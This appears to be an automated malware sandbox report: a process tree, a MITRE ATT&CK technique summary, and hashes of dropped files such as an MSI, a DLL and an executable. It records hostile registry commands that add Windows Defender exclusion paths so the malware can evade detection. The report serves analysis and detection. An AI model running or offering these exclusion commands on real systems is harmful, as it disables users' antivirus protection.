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C:\Windows\system32\cmd.execmd.exe1⤵PID:2724
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4940
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3420
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e5874af.rbs
- Size 7KB
- SHA256 66ce3acf7d8b9852fb63acea2f713d6d5061774db3290082492c2efcdd860a74
- MD5 6991b189c7cf8d13fc5b160ad8398b0f
- SHA1 b929cfc8768fb027d9a216ec01db6fc713f3dfc9
- SHA512 7db4039a37e129eb7fc73f32aa62b5cc2381d28364aa022261b3706fb06eb661a90444f12f545939a129bbdfaf9643e796aa6d17410b4f45befb4153538ec69d
- SSDEEP 96:azZuu1eilaUU8B1CsThq/U8B1C6j4/xpThqjHqS56TWt8d+CKplj+zIjByy:a1eBzmIIVmI36ALKpB
- TLSH T1E2F12101B31196D2E9911B75CB831B1637F2D3DAA320735B08DE80685F577883ED57AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\N4pEjv\UxEnhance64.dll
- Size 3.1MB
- SHA256 747018fd7d024fec2d38e2f57ff63e443e352956e360abef6068f65b4a28b05c
- MD5 3ee8cedd95f0910038ab9cf54d90649e
- SHA1 d53771ec05b3331c1259094ac2be4c158aaf5b1b
- SHA512 f44f3cdd71e4c773aa076dfcfe89a83413f78a68de6b202bd3deb950a4b25877af130af712d030f56779d32a3c426816f1cd80f01f66cc144906d9057bcd20ad
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+u:P9m29xx3Tiqt06ox6+z2rNNrKou
- TLSH T14AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\N4pEjv\adoresd.dat
- Size 4.7MB
- SHA256 aad919651e5aa97591c7ebfac5a13b1f4c86bffdc0e3465f637743be6c256094
- MD5 d74fbcb77b2afea11dc0933806778246
- SHA1 45121cc073c5e84655ec30a786f862708c468f74
- SHA512 f76a4486b40a7eea2bba186bcdfcd51fc4f69c854c18c0d0c5adfadfbca73c8bc93212c5b6a79e0e5a4effe6b530c302e986e22df3095f02d766c6eed131072e
- SSDEEP 98304:imu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Bu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1A43633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\N4pEjv\msadox.tb
- Size 8KB
- SHA256 cd655b3e4708f95a95acef363a24c9c194cd232c92f098192a26a27254fe3808
- MD5 d5cc992571906dcc6f2cd274e383122d
- SHA1 0317ee519de4da4b967f03523d672814e2c88bb2
- SHA512 fb8d1a97819bf91b844cf97e3766068c5a47ce5063b40c299cdf8b96a3179ee0b1f5725d44c73319966c180020ffdad45f605f3145a110b06b86fbd3eefa70d8
- SSDEEP 192:CqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:CsZqZOXQ3uqvR2Kfzp
- TLSH T1DE029E05D7A20CC7D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\N4pEjv\ov7EcW.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7636.tmp
- Size 5.9MB
- SHA256 8d968e093af63ad998af89057fbf90e0b026bf016a11d7c9c5328b64f339ee5c
- MD5 fbea1f42bd814a9a404014f0fda2a87a
- SHA1 6c08eab0ff19f1d3f7fb6261bdb42ac6e1f5e430
- SHA512 5657d606204be9f6750f7c1b781f0baf5cd2870b43ec57cfdffd8c2767dc4703aa47711d220118ec2457fb543f85187da166d2b7f36803ed509662ee80e65317
- SSDEEP 98304:TJdzXYllrgYXrG33/mMyiC/0u0AkL2JuRT2Ni0pr4PaL4AnfYr0WkDLZ8LBCrNdI:TTzIllrg+rG3PmDv/0u0APiT2o0prcga
- TLSH T1D65633D13CC62335C09BC7B08203366F712E7BE6AEB59D0E9ACDBB450D326295675389
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5874ae.msi
- Size 5.9MB
- SHA256 fb8b4b733347c3ab0feca0e91fbc506e74129a3f1e9e3c93fdc55310cb82323d
- MD5 cf22f6d4c0a720f15e327be47189afd5
- SHA1 9f1fe519b3c2ce32250b7a6ec70822d02a9ef9ba
- SHA512 ac98a45ba6d59b8b1033e4fbfe50c70e1aa24e3d96ceb24040b555b2a193adb164ec9c7380c58951583f8fb281860a568bd6f120199316452d9c1b947eb15463
- SSDEEP 98304:jJdzXYllrgYXrG33/mMyiC/0u0AkL2JuRT2Ni0pr4PaL4Anfkr0WkDLZ8LBCrNdJ:jTzIllrg+rG3PmDv/0u0APiT2o0prcgj
- TLSH T1B65633D13CC61335C097C370820336AE722EBFE6AE759D0E9AC9BB490D326395675399
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 318532e9a2394479db5ee3a4d8028a14f71c213a59c44d593d2cd212b8c681ea
- MD5 c3ba0d02d012b979f5039257c48e94ba
- SHA1 07676871413fb13641bc4d70e31f6a9af11c32d8
- SHA512 5d60d2bfa63060adb12daa3ffa34ad5ea57f5caff75d7da9343e9f2db45fbf4d4e0360a4cbbd0919c3259f14f2ed7912d6b02fc75add99fc95ef8b025d5caa47
- SSDEEP 24576:Ju8m+1zydoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:o
- TLSH T14147D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c3e8e14b-a89d-4d82-b64e-1f23df70cc02}_OnDiskSnapshotProp
- Size 6KB
- SHA256 cb15a5919f40fd31a8d6cdac115e7b7b6d0bfaf37e8c53bae6f307f6468d46b0
- MD5 61a4677ebcf901e74175f387880c0090
- SHA1 62a855727b90fb3fc5c221181852f0c85efa6168
- SHA512 e9a6fb20410ec79560b104acb01dbc4df10c39458c2658974c812c8cc101e7732b3155715ea42844f4686933633d80303318220e4ff8fcf737a3c2cbf9031982
- SSDEEP 96:FFZ6MFlSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:dob++ZVm
- TLSH T174D1AA085AF54711E2B3AB7128F18557A877B811EF33CB8E0198238E6670910F876F6F
- MD5 SHA1 SHA512 SSDEEP TLSH